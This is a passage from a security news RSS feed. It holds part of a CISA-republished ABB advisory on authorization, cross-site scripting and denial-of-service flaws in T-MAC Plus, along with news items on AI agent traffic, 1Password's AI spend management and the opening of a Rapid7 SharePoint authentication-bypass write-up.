<p><strong>Mitigation</strong><br>ABB T-MAC Plus web application supports several classes of users (e.g., Admin, Customer, Operator, etc.) with different roles. An authenticated user with low privileges (e.g., Customer) can execute administrative operations. The privileges associated to the different users have been revised and applied correctly.</p>
<p><strong>Workaround</strong><br>Workarounds are specific measures that a user can take to help block an attack, for example, temporarily disabling the vulnerable feature may remove the exposure with well-known impact on functionality. ABB has tested the following workarounds. Although these workarounds will not correct the underlying vulnerability, they can help block known attack vectors. When a workaround reduces functionality, this is identified below as “Impact of workaround”.</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/639.html">CWE-639 Authorization Bypass Through User-Controlled Key</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-14773</a></h3>
<div class="csaf-accordion-content">
<p>Stored Cross-Site Scripting (XSS) in ABB T-MAC Plus web application allows authenticated users to execute arbitrary HTML or JavaScript code on victims browser.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-14773">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>ABB T-MAC Plus</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>ABB</div>
<div class="ics-version"><strong>Product Version:</strong><br>ABB T-MAC Plus 4.0-24</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>ABB has investigated these vulnerabilities to provide adequate protection to customers. The problem is corrected in the following product versions: T-MAC Plus version 4.0-25 ABB recommends that customers apply the update at earliest convenience.</p>
<p><strong>Mitigation</strong><br>A DOM-based XSS vulnerability is present. If a malicious actor gains access to the operations network and can create or edit an existing entity, they could insert malicious JavaScript code to be executed in the web forms. New T-MAC Plus version 4.0-25 will correct the vulnerability.</p>
<p><strong>Workaround</strong><br>Workarounds are specific measures that a user can take to help block an attack, for example, temporarily disabling the vulnerable feature may remove the exposure with well-known impact on functionality. ABB has tested the following workarounds. Although these workarounds will not correct the underlying vulnerability, they can help block known attack vectors. When a workaround reduces functionality, this is identified below as “Impact of workaround”.</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/79.html">CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-14774</a></h3>
<div class="csaf-accordion-content">
<p>Insecure network protocol in ABB T-MAC Plus allows unauthenticated attackers to perform a denial-of-service (DoS) of the Card Reader service.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-14774">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>ABB T-MAC Plus</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>ABB</div>
<div class="ics-version"><strong>Product Version:</strong><br>ABB T-MAC Plus 4.0-24</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>ABB has investigated these vulnerabilities to provide adequate protection to customers. The problem is corrected in the following product versions: T-MAC Plus version 4.0-25 ABB recommends that customers apply the update at earliest convenience.</p>
<p><strong>Mitigation</strong><br>If a malicious actor gains physical access to a serial device, disables it, connects a malicious device with same IP address, and sends a specially crafted message, the service responsible for communicating with the device will be blocked until a manual restart is performed. New T-MAC Plus version 4.0-25 will correct the vulnerability.</p>
<p><strong>Workaround</strong><br>Workarounds are specific measures that a user can take to help block an attack, for example, temporarily disabling the vulnerable feature may remove the exposure with well-known impact on functionality. ABB has tested the following workarounds. Although these workarounds will not correct the underlying vulnerability, they can help block known attack vectors. When a workaround reduces functionality, this is identified below as “Impact of workaround”.</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/863.html">CWE-863 Incorrect Authorization</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.4</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H">CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Angelo Catalani of the Italian National Cybersecurity Agency (ACN) responsibly disclosed the vulnerabilities and provided valuable input on product improvements.</li>
</ul>
<hr>
<h2>Notice</h2>
<p>The information in this document is subject to change without notice, and should not be construed as a commitment by ABB. ABB provides no warranty, express or implied, including warranties of merchantability and fitness for a particular purpose, for the information contained in this document, and assumes no responsibility for any errors that may appear in this document. In no event shall ABB or any of its suppliers be liable for direct, indirect, special, incidental or consequential damages of any nature or kind arising from the use of this document, or from the use of any hardware or software described in this document, even if ABB or its suppliers have been advised of the possibility of such damages. This document and parts hereof must not be reproduced or copied without written permission from ABB, and the contents hereof must not be imparted to a third party nor used for any unauthorized purpose. All rights to registrations and trademarks reside with their respective owners.</p>
<hr>
<h2>Frequently Asked Questions</h2>
<p>What causes the vulnerability? - The vulnerabilities are caused by: - Wrong configuration in T-MAC Plus IIS Server. - Wrong configuration of privileges of users. - Lack of encryption in communication protocol. What is T-MAC Plus? - T-MAC Plus is a Terminal Management System (TMS) that handles the different operations (receipt and dispatch product, access control, product movement in the tank farm, …) in a terminal. It is applicable to different type of products such as chemical and petroleum terminals, pipeline or refinery tankage, bulk plants or hydrogen terminals. The following components are affected: - TMAC Plus Web application - Communication protocol with Card Readers What might an attacker use the vulnerability to do? - An attacker who successfully exploited this vulnerability could cause the affected system node to stop or become inaccessible and allow the attacker to insert and run arbitrary code. How could an attacker exploit the vulnerability? - An attacker could try to exploit the vulnerability by creating a specially crafted message and sending the message to an affected system node. This would require that the attacker has access to the system network, by connecting to the network directly. Recommended practices help mitigate such attacks, see section Mitigating Factors. Could the vulnerability be exploited remotely? - No, to exploit this vulnerability an attacker would need to have physical access to an affected system node. Can functional safety be affected by an exploit of this vulnerability? - While these vulnerabilities primarily impact confidentiality, integrity, and availability, they do not directly affect functional safety in the traditional sense What does the update do? - The update removes the vulnerability by modifying the way that the T-MAC Plus web application and the communication protocol are configured. When this security advisory was issued, had this vulnerability been publicly disclosed? - No, ABB received information about this vulnerability through responsible disclosure. When this security advisory was issued, had ABB received any reports that this vulnerability was being exploited? - No, ABB had not received any information indicating that this vulnerability had been exploited when this security advisory was originally.</p>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the exploitation risk of this vulnerability.</p>
<p>Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolate them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<hr>
<h2>Advisory Conversion Disclaimer</h2>
<p>This ICSA is a verbatim republication of ABB PSIRT 9AKK108472A7840 from a direct conversion of the vendor's Common Security Advisory Framework (CSAF) advisory. This is republished to CISA's website as a means of increasing visibility and is provided "as-is" for informational purposes only. CISA is not responsible for the editorial or technical accuracy of republished advisories and provides no warranties of any kind regarding any information contained within this advisory. Further, CISA does not endorse any commercial product or service. Please contact ABB PSIRT directly for any questions regarding this advisory.</p>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-06-03</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-06-03</td>
<td>1</td>
<td>Initial version.</td>
</tr>
<tr>
<td>2026-07-14</td>
<td>2</td>
<td>Initial CISA Republication of ABB PSIRT 9AKK108472A7840 advisory</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Authenticate legitimate AI agent traffic with AWS WAF Bot Control]]></title>
<description><![CDATA[As AI agents and automated tools increasingly access web applications, distinguishing legitimate bot traffic from malicious attempts has become a critical security challenge. Traditional approaches such as IP-based filtering and reverse DNS lookups fail in multi-tenant systems (such as Amazon…
Re...]]></description>
<link>https://tsecurity.de/de/3668503/it-security-nachrichten/authenticate-legitimate-ai-agent-traffic-with-aws-waf-bot-control/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668503/it-security-nachrichten/authenticate-legitimate-ai-agent-traffic-with-aws-waf-bot-control/</guid>
<pubDate>Tue, 14 Jul 2026 17:41:46 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>As AI agents and automated tools increasingly access web applications, distinguishing legitimate bot traffic from malicious attempts has become a critical security challenge. Traditional approaches such as IP-based filtering and reverse DNS lookups fail in multi-tenant systems (such as Amazon…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/authenticate-legitimate-ai-agent-traffic-with-aws-waf-bot-control/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/authenticate-legitimate-ai-agent-traffic-with-aws-waf-bot-control/">Authenticate legitimate AI agent traffic with AWS WAF Bot Control</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Modern datacentre infrastructure management (DCIM) is crucial]]></title>
<description><![CDATA[AI workloads are pushing traditional datacentre management to its limits. Modern DCIM is now essential, using predictive analytics to ensure resilience, efficiency, and sustainability]]></description>
<link>https://tsecurity.de/de/3668376/it-nachrichten/modern-datacentre-infrastructure-management-dcim-is-crucial/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668376/it-nachrichten/modern-datacentre-infrastructure-management-dcim-is-crucial/</guid>
<pubDate>Tue, 14 Jul 2026 16:49:53 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[AI workloads are pushing traditional datacentre management to its limits. Modern DCIM is now essential, using predictive analytics to ensure resilience, efficiency, and sustainability]]></content:encoded>
</item>
<item>
<title><![CDATA[AI's Hidden Security Layer]]></title>
<description><![CDATA[Author: Security Weekly - A CRA Resource - Bewertung: 0x - Views:3 AI security is changing. The biggest risk is no longer simply whether employees are using AI—it's what they're asking AI to process. Sensitive prompts can expose confidential information in ways traditional security tools weren't ...]]></description>
<link>https://tsecurity.de/de/3668276/it-security-video/ais-hidden-security-layer/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668276/it-security-video/ais-hidden-security-layer/</guid>
<pubDate>Tue, 14 Jul 2026 16:19:17 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Security Weekly - A CRA Resource - Bewertung: 0x - Views:3 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/JKfVvaAINHQ?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>AI security is changing. The biggest risk is no longer simply whether employees are using AI—it's what they're asking AI to process. Sensitive prompts can expose confidential information in ways traditional security tools weren't built to observe.<br />
<br />
EDR, antivirus, and network monitoring intentionally avoid collecting large amounts of content, leaving organizations with limited visibility into AI interactions. That makes discovering shadow AI usage and understanding how people access AI tools increasingly important.<br />
<br />
Is your organization monitoring AI usage itself, or is it prepared to understand the content and data flowing through those AI interactions?<br />
<br />
Subscribe to our podcasts: https://securityweekly.com/subscribe<br />
<br />
#DataSecurity #SecurityWeekly #Cybersecurity #InformationSecurity #AI #InfoSec<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Pure DC launches €7.5bn Finland AI datacentre campus]]></title>
<description><![CDATA[550MW AI datacentre project – with Microsoft reportedly signed up – reflects shift as European market moves north to bypass power constraints in traditional Flap-D hubs]]></description>
<link>https://tsecurity.de/de/3668274/it-nachrichten/pure-dc-launches-75bn-finland-ai-datacentre-campus/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668274/it-nachrichten/pure-dc-launches-75bn-finland-ai-datacentre-campus/</guid>
<pubDate>Tue, 14 Jul 2026 16:18:43 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[550MW AI datacentre project – with Microsoft reportedly signed up – reflects shift as European market moves north to bypass power constraints in traditional Flap-D hubs]]></content:encoded>
</item>
<item>
<title><![CDATA[1Password moves into AI cost management, betting that token spend is the next enterprise budget crisis]]></title>
<description><![CDATA[1Password on Tuesday launched AI Spend and Consumption Management, a new capability embedded in its SaaS Manager platform that gives IT and finance teams a unified, real-time view of how their organizations consume and spend on AI services from vendors including Anthropic, Cursor, and OpenAI.The ...]]></description>
<link>https://tsecurity.de/de/3668120/it-nachrichten/1password-moves-into-ai-cost-management-betting-that-token-spend-is-the-next-enterprise-budget-crisis/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668120/it-nachrichten/1password-moves-into-ai-cost-management-betting-that-token-spend-is-the-next-enterprise-budget-crisis/</guid>
<pubDate>Tue, 14 Jul 2026 15:32:53 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://1password.com/">1Password</a> on Tuesday launched <a href="https://1password.com/product/saas-manager">AI Spend and Consumption Management</a>, a new capability embedded in its SaaS Manager platform that gives IT and finance teams a unified, real-time view of how their organizations consume and spend on AI services from vendors including <a href="https://www.anthropic.com/">Anthropic</a>, <a href="https://cursor.com/">Cursor</a>, and <a href="https://openai.com/">OpenAI</a>.</p><p>The move marks the latest strategic expansion for a company that built its reputation on password management for consumers and, over the past three years, has aggressively repositioned itself as a broader identity security and SaaS governance platform for enterprise buyers. With this release, 1Password is staking a claim in one of enterprise technology's newest and most chaotic budget categories: the consumption-based cost of large language models.</p><p>"Executives want teams to build faster with AI, but that speed is creating a new kind of spending pressure," Greg Henry, 1Password's chief financial officer, said in an exclusive interview with VentureBeat. "Developers are consuming tokens at a pace that traditional budgets weren't built to manage, and IT and finance teams are being asked to forecast and justify AI investments without a clear view of what's actually driving costs."</p><p>The product, now in public preview with broad availability planned for fall 2026, connects directly to vendor admin APIs to pull token-level consumption data daily. It normalizes that data across providers into a single dashboard and allows organizations to set vendor-level spend limits, configure threshold-based alerts via Slack and email, and break down usage by team, user, vendor, and model.</p><div></div><h2><b>Why traditional software budgets can't keep up with AI token pricing</b></h2><p>The core challenge <a href="https://1password.com/">1Password</a> is targeting is structural. Traditional SaaS pricing operates on a per-seat, per-year model that is easy to budget and reconcile. AI pricing does not. Every API call to <a href="https://claude.ai/">Claude</a>, <a href="https://openai.com/index/gpt-5-6/">GPT-5.6</a>, or a <a href="https://cursor.com/docs/api">Cursor-powered coding assistant</a> consumes tokens, and the cost of those tokens varies by model, by input versus output, and by the complexity of the task. A single engineering team running agentic workflows can burn through a prepaid token budget in weeks — and the finance team may not notice until the invoice arrives.</p><p>Henry drew a sharp analogy to a problem enterprises have already lived through once. "Consumption-based pricing isn't new," he said. "We saw it arrive with cloud infrastructure, and it took years to build the tools and disciplines to manage it. AI is the next version of that shift."</p><p>That comparison resonates across the industry. When <a href="https://aws.amazon.com/">Amazon Web Services</a>, <a href="https://azure.microsoft.com/en-us">Microsoft Azure</a>, and <a href="https://cloud.google.com/">Google Cloud</a> popularized consumption-based pricing for compute and storage in the 2010s, enterprises initially lacked the tooling to monitor and optimize their cloud bills. That gap spawned an entire FinOps ecosystem — companies like CloudHealth, Spot.io, and Apptio built multi-billion-dollar businesses helping organizations understand what they were spending on cloud and why. Henry is explicitly betting that AI token spend will follow the same trajectory, and that organizations that fail to build visibility now will end up, as he put it, "paying far more than they needed to, for far longer than they should have."</p><p>The scale of the coming wave lends credibility to that bet. Goldman Sachs has estimated that token consumption from AI agents alone will grow 24 times by 2030, a projection driven by the expectation that autonomous AI systems will increasingly execute multi-step workflows — booking travel, writing and deploying code, managing customer service interactions — that generate vastly more API calls than a human sitting at a chat interface.</p><h2><b>How 1Password's new dashboard tracks every token across Anthropic, Cursor, and OpenAI</b></h2><p>The new capability extends <a href="https://1password.com/product/saas-manager">1Password SaaS Manager</a>'s existing foundation of application discovery, license management, and spend analytics. It is not a standalone product. Existing SaaS Manager customers can activate it by connecting their supported AI vendor API keys, at which point consumption data flows into a dedicated AI Consumption Management dashboard. Henry confirmed that there is no separate product or add-on fee: "AI Spend and Consumption Management is available to all 1Password SaaS Manager customers."</p><p>The system provides four core functions. First, it aggregates token usage and spend across Anthropic, Cursor, and OpenAI into a single, normalized view — eliminating the need to toggle between three separate vendor dashboards with three different reporting formats. Second, it enables budget controls: organizations can set vendor-level spend limits, configure percentage-based thresholds, and receive automated alerts when prepaid balances approach depletion. Third, it disaggregates consumption by team, user, vendor, and model, allowing finance and IT to understand not just how much is being spent, but where and by whom. Fourth, it situates AI spend within the broader SaaS portfolio, helping organizations see how token costs relate to their total software investment.</p><p>Notably, the system captures consumption regardless of whether a human or an AI agent generated it. "Token consumption is captured at the API level regardless of whether a human or an agent is generating it," Henry explained. "Organizations get the total consumption picture, including the spikes that agent loops can create, which can be some of the hardest usage to catch before it becomes a problem."</p><p>That agent-level visibility matters because autonomous AI systems can generate runaway costs in ways that human users typically cannot. An agentic coding assistant stuck in a retry loop, for example, can consume thousands of dollars in tokens in minutes — with no human in the loop to notice. For now, the product alerts but does not enforce. When asked whether 1Password will eventually give organizations the ability to automatically cut off spending when a threshold is crossed, Henry said the company is "actively evaluating" automatic enforcement but emphasized that visibility must come first: "You can't enforce what you can't see."</p><h2><b>The choice of launch partners reveals where enterprise AI budgets are under the most pressure</b></h2><p>The decision to start with <a href="https://www.anthropic.com/">Anthropic</a>, <a href="https://cursor.com/">Cursor</a>, and <a href="https://openai.com/">OpenAI</a> — rather than casting a wider net — reflects where enterprise AI adoption and budget strain are most concentrated right now. Henry said the choice was driven entirely by customer demand. "Anthropic, Cursor, and OpenAI are where we're seeing the highest adoption, and where token consumption can move fast and get ahead of the teams responsible for managing it," he said. The company plans to add additional vendors based on customer demand, API availability, and budget impact, though it has not committed to a specific timeline or vendor list.</p><p>The inclusion of Cursor alongside the two major foundation model providers is telling. <a href="https://cursor.com/">Cursor</a>, an AI-powered code editor that has rapidly gained traction among developers, represents a category of AI tool where consumption is particularly difficult to forecast. Unlike a chatbot interface where a user consciously types a prompt, Cursor integrates AI suggestions directly into the development workflow, generating token consumption continuously as developers write code. That ambient, always-on consumption pattern makes it especially prone to budget overruns.</p><p>Henry also addressed who inside an organization should actually own this problem — and acknowledged that the honest answer right now is no one. "When spend is fragmented across vendor dashboards and finance teams are reconciling it monthly, you're always behind," he said. "AI spend can't be treated as a finance-only or IT-only problem." He noted that the pricing differences between models have become significant enough that the choice of which AI model a team uses is now a meaningful financial decision, one that is pulling CFOs into conversations with IT, product, and engineering leaders "in ways they never had to before."</p><p>Steve May, director of IT at ServiceTrade, a 1Password customer that has been using the capability, said it addressed a concrete planning gap. "Forecasting tools for AI consumption and spend was one of our biggest gaps in planning because we didn't have a reliable way to track it," May said. He added that the visibility has "prevented overages that would have cost far more to fix after the fact."</p><h2><b>Where 1Password fits in the fast-consolidating SaaS management market</b></h2><p>1Password is not the only company racing to solve the AI cost management problem, but the competitive landscape is still fragmented and the category is far from mature.</p><p><a href="https://zylo.com/">Zylo</a>, a SaaS management platform that Gartner has also recognized as a leader in the space, published its <a href="https://zylo.com/news/2026-saas-management-index">2026 SaaS Management Index</a> in January showing that AI-native application spend surged 393% year over year in organizations with more than 10,000 employees and 108% overall. Zylo's data also revealed that ChatGPT has become the most expensed application in enterprise environments, highlighting how AI tools are entering organizations through employee credit cards and expense reports — outside formal procurement and governance workflows. Zylo has added its own token-level cost tracking for AI vendors including Anthropic, OpenAI, Cursor, and Perplexity.</p><p>Meanwhile, according to a comparison published by <a href="https://coommit.com/blog/saas-management-platforms-2026-zylo-vs-vendr-vs-sastrify">Coommit</a> in May, <a href="https://www.vendr.com/">Vendr</a> — which focuses more on SaaS negotiation than discovery — tracks AI tools at the contract level but does not yet offer consumption-level visibility. And the FinOps Foundation reported in its 2026 State of FinOps survey that 98% of organizations now actively manage AI costs, up from just 31% in 2024. The broader SaaS management market is also consolidating rapidly. In May, Deel acquired Sastrify, a German SaaS management vendor, and began folding it into its HR platform — a signal that SaaS management capabilities are increasingly being absorbed into adjacent enterprise platforms rather than remaining standalone products.</p><p>1Password's approach differs from pure-play SaaS management competitors in one important respect: it is building AI cost management on top of an identity security platform, not a FinOps or procurement tool. The company's SaaS Manager product grew out of its 2025 acquisition of Trelica, a UK-based SaaS access management startup whose technology enabled the discovery of unsanctioned applications — so-called shadow IT. As BetaKit reported at the time of that deal, 1Password co-CEO Jeff Shiner described Trelica as "a pioneer in modern SaaS access management" and said the acquisition would accelerate 1Password's Extended Access Management product roadmap by more than a year. CRN noted that Trelica brought more than 300 SaaS integrations to the platform. That identity-first lineage gives 1Password a natural advantage in connecting spend data to specific users and teams — a linkage that matters when the question shifts from "how much are we spending on AI?" to "who is spending it, and is it delivering value?"</p><h2><b>From password manager to platform company: 1Password's $6.8 billion bet on enterprise identity</b></h2><p>The launch raises a question that Henry addressed head-on: whether a company that started as a consumer password manager can credibly compete in enterprise AI cost management.</p><p>"It doesn't feel like a stretch to us. It feels like a natural progression," he said. "For more than 20 years, 1Password has evolved alongside how our customers work. We started by protecting passwords. Then we helped organizations manage secrets, control access, and get visibility into the applications their teams rely on."</p><p>The company's evolution has been rapid. 1Password raised a $620 million Series C in January 2022 led by ICONIQ Growth, <a href="https://news.crunchbase.com/venture/1password-620m-round-cybersecurity-investor/">reaching a $6.8 billion valuation</a> — at the time, the largest funding round ever raised by a Canadian company, according to Crunchbase. The round also attracted celebrity investors including Ryan Reynolds, Scarlett Johansson, and Robert Downey Jr. As of early 2025, BetaKit reported that 1Password had surpassed $250 million in annual recurring revenue, with B2B sales accounting for nearly three-quarters of total revenue and the company claiming to be cash-flow positive.</p><p>In May 2024, 1Password launched <a href="https://1password.com/extended-access-management">Extended Access Management</a>, a platform designed to secure sign-ins across both managed and unmanaged applications and devices. That same year, it acquired Kolide for device trust and, in early 2025, Trelica for SaaS discovery. In June 2026, Gartner named 1Password a Leader in its Magic Quadrant for SaaS Management Platforms. According to 1Password's own blog post on the recognition, its SaaS Manager now supports over 400 integrations and provides visibility into a library of more than 40,000 pre-populated application profiles. Each step has moved the company further from its consumer roots and deeper into enterprise infrastructure. The AI Spend and Consumption Management launch extends that trajectory into financial operations territory — a domain where 1Password will compete not only with SaaS management vendors but potentially with dedicated FinOps platforms and the AI vendors' own billing dashboards.</p><h2><b>Why high AI token consumption doesn't always mean wasted money</b></h2><p>Perhaps the most revealing part of Henry's commentary concerns what organizations should actually do with the consumption data once they have it. He pushed back forcefully against the assumption that high token consumption automatically signals waste.</p><p>"A team burning through tokens may be building something genuinely valuable," he said. "A lower-usage project might not be moving the business forward at all. What matters is whether that consumption is producing enough business value to justify the spend."</p><p>Henry drew a distinction between personal productivity — "having a bot summarize your meeting or draft a quick email" — and genuine business outcomes. "What organizations need to see is where consumption is actually driving revenue, efficiency, or something that moves the needle."</p><p>That framing positions AI Spend and Consumption Management not just as a cost-cutting tool but as a decision-support system for AI investment allocation. If a CFO can see that one engineering team's heavy Claude usage is powering a product feature that drives revenue, while another team's OpenAI spend is funding low-value internal automation, the organization can reallocate budget accordingly rather than imposing across-the-board cuts.</p><p>"When costs rise faster than expected, the instinct is to cut," Henry said. "But most organizations can't yet tell which teams, models, or tools are responsible for the increase, so they end up cutting across the board rather than directing investment toward the AI projects that are actually delivering business value. Blunt cuts on a technology you're counting on for competitive advantage is not a management strategy, it's a missed opportunity."</p><h2><b>The next enterprise budget crisis is already here — and it's priced per token</b></h2><p>The product's current scope — three vendor integrations, alerting but not enforcement — is clearly a starting point. Henry signaled that automatic spend limits are on the roadmap and that additional vendor integrations will follow based on customer demand.</p><p>But the broader trajectory he described suggests 1Password sees this launch as a wedge into a much larger opportunity. "As traditional SaaS products add AI capabilities, their pricing models are going to follow," he said. "Organizations that build visibility and management discipline around consumption now are going to be in a much better position when that happens across the rest of their software portfolio."</p><p>If Henry is right, the chaos currently confined to AI token budgets is not a temporary growing pain but a preview of how all enterprise software will eventually be priced. A decade ago, companies scrambled to understand their cloud bills. Today, they are scrambling to understand their AI bills. The question is whether the organizations building the dashboards this time around can get ahead of the curve — or whether, as Henry warned, they will end up where so many companies ended up with cloud, realizing too late how much they were overpaying, and for how long.</p><p>AI Spend and Consumption Management is <a href="https://1password.com/lp/saas-manager">available now in public preview</a> for 1Password SaaS Manager customers. Broad availability is planned for fall 2026.</p><p>
</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-55040: Microsoft SharePoint JWT Token Authentication Bypass (FIXED)]]></title>
<description><![CDATA[OverviewRapid7 Labs conducted a zero-day research project against Microsoft SharePoint, resulting in the discovery of two new vulnerabilities that, when chained together, achieve unauthenticated remote code execution (RCE) against a vulnerable SharePoint server. Today, both Rapid7 and Microsoft a...]]></description>
<link>https://tsecurity.de/de/3668067/it-security-nachrichten/cve-2026-55040-microsoft-sharepoint-jwt-token-authentication-bypass-fixed/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668067/it-security-nachrichten/cve-2026-55040-microsoft-sharepoint-jwt-token-authentication-bypass-fixed/</guid>
<pubDate>Tue, 14 Jul 2026 15:24:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Overview</h2><p><span>Rapid7 Labs conducted a zero-day research project against Microsoft SharePoint, resulting in the discovery of two new vulnerabilities that, when chained together, achieve unauthenticated remote code execution (RCE) against a vulnerable SharePoint server. Today, both Rapid7 and Microsoft are disclosing the first vulnerability in this chain, the authentication bypass vulnerability CVE-2026-55040. The RCE component of the exploit chain is expected to be patched by Microsoft in the next update cycle for August 2026. The exploit chain was developed as an entry for the recent </span><a href="https://www.zerodayinitiative.com/blog/2026/5/15/pwn2own-berlin-2026-day-two-results" target="_blank"><span>Pwn2Own Berlin</span></a><span> hacking competition – part of Rapid7 Labs' continued effort to </span><a href="https://www.rapid7.com/blog/post/ve-rapid7-labs-at-pwn2own-vuln-intel" target="_self"><span>raise the bar</span></a><span> in Vulnerability Intelligence and our commitment to the preemptive protection of our customers through original vulnerability research.</span></p><p><span>A remote unauthenticated attacker can leverage CVE-2026-55040 to bypass authentication on a vulnerable SharePoint server and perform operations as a SharePoint site user or administrator. The vulnerability is due to several issues in the JWT token validation pipeline.</span></p><p><span>CVE-2026-55040 has a CVSSv3.1 score of </span><a 